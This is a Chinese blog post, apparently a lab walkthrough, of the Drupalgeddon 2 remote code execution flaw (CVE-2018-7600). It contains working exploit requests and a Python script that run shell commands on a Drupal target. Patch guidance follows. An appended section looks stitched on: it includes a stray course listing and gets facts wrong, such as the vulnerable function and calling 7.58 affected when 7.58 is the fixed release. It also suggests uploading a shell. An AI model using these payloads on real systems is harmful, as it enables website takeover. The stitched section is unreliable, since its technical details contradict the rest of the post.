Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

Drupal Drupalgeddon 2远程代码执行漏洞
本文详细介绍了Drupal的Drupalgeddon 2(CVE-2018-7600)远程代码执行漏洞,涉及受影响的Drupal 6.x, 7.x, 和 8.x版本。漏洞可能导致攻击者完全控制受影响的网站。文中提供漏洞验证的PoC和环境搭建方法,并给出了官方修复方案,包括更新到特定版本或应用补丁。" 126785299,14979659,Python神经网络入门与实战,"['Python', '神经网络', '深度学习', '机器学习', '数据处理']

Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

一、漏洞介绍

2018年3月28日,Drupal官方发布新补丁和安全公告,宣称Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用Drupal网站漏洞,执行恶意代码,导致网站被完全控制。

漏洞影响范围:
截止2018年3月29日,还未有公开PoC
Drupal 6.x版本
Drupal 7.x版本
Drupal 8.x版本

二、漏洞危害

远程代码执行。

三、漏洞验证

环境搭建:
实验环境系统IP地址
攻击机win10192.168.18.7
靶机win10192.168.18.7:8088

这里我使用Vulhub搭建环境:
执行如下命令启动drupal 8.5.0的环境: bash docker-compose up -d环境启动后,访问
http://your-ip:8088/(这里我修改了配置文件,默认是8080端口)
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
安装成功后如图所示:
在这里插入图片描述

PoC1:

我们向安装完成的drupal发送如下数据包:

该POC仅可执行whoamiid等少量命令。

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8088
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

成功执行代码,这个代码最终执行了id命令:
在这里插入图片描述

PoC2:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.18.7:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.18.7:8088/user/register
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Content-Length: 620
Connection: close

-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#post_render][]"

passthru
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#type]"

markup
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#markup]"

ls
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="form_id"

user_register_form
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="_drupal_ajax"

在这里插入图片描述
在这里插入图片描述

PoC3:

参考a2u/CVE-2018-7600,修改poc如下:

该PoC在Drupal 7.x上不起作用。

#!/usr/bin/env python3
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo `ls -al` | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

执行python exploit.py,输入URL:
在这里插入图片描述
查看http://192.168.18.7:8088/hello.txt
在这里插入图片描述

四、漏洞修复

官方已经修复此漏洞,请及时更新Drupal版本或参考补丁自行修复:
Drupal 7.x 请更新至7.58版本(https://www.drupal.org/project/drupal/releases/7.58) 或参考此补丁进行修复 (https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5)
Drupal 8.3.x 请更新至8.3.9版本(https://www.drupal.org/project/drupal/releases/8.3.9) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
Drupal 8.4.x 请更新至8.4.6版本(https://www.drupal.org/project/drupal/releases/8.4.6) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
Drupal 8.5.x 请更新至8.5.1版本(https://www.drupal.org/project/drupal/releases/8.5.1) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)

参考链接:
https://github.com/a2u/CVE-2018-7600
https://github.com/dreadlocked/Drupalgeddon2
https://github.com/g0rx/CVE-2018-7600-Drupal-RCE
https://www.jianshu.com/p/7c410db788ed

### CVE-2018-7600 漏洞详情 CVE-2018-7600 是一个影响 Drupal 内核的严重远程代码执行漏洞,通常被称为“Drupalgeddon 2”。该漏洞存在于 Drupal 的 `form_set_value()` 函数中,攻击者可以通过向特定 URL 发送恶意请求来触发此漏洞并实现远程代码执行。受影响的主要版本包括 Drupal 7.x 和部分未及时更新的分支。 #### 影响范围 - **主要受影响版本**: Drupal 7.x 版本(具体为 7.30 至 7.58) - **修复后的版本**: Drupal 7.58 及更高版本[^4] --- ### 攻击方式 攻击者可以利用以下路径发起攻击: ```http POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: target_ip:port Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Cache-Control: no-cache form_id=user_register_form&_triggering_element_name=&_triggering_element_value= ``` 上述请求中的参数 `_triggering_element_name` 和 `_triggering_element_value` 被用于注入恶意 PHP 代码。如果目标系统未打补丁,则可能导致任意代码执行--- ### 修复方法 为了防止被攻击,应采取以下措施之一或多个组合策略: 1. **升级至安全版本** -Drupal 更新到最新稳定版本(至少为 7.58 或更高)。官方已发布针对此漏洞的安全修补程序。 2. **应用临时缓解措施** - 如果无法立即完成升级,可禁用注册功能或将站点设置为维护模式以减少暴露风险。这可通过修改配置文件或管理界面实现。 ```bash drush vset user_register 0 --yes ``` 3. **部署 WAF 防护** - 使用 Web 应用防火墙(WAF),拦截可能携带恶意负载的流量。例如,ModSecurity 中可以添加自定义规则阻止敏感 URI 请求。 4. **定期审计日志** - 定期检查服务器访问日志,寻找异常行为迹象,特别是涉及 `/user/register` 接口的可疑 POST 请求。 --- ### 复现环境搭建与测试 对于研究目的,在受控环境中重现漏洞有助于理解其机制。以下是基本流程: 1. 下载易受攻击的 Drupal 版本(如 7.57)并安装; 2. 利用公开 POC 工具验证是否存在漏洞; 3. 成功后尝试上传 shell 文件或其他形式的有效载荷。 注意:仅限合法授权下的实验活动! --- ### 注意事项 即使成功修复了 CVE-2018-7600,也建议持续关注其他潜在威胁。例如,后续还出现了类似的 RCE 缺陷——CVE-2019-6340,因此保持软件始终处于最新状态至关重要[^5]。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值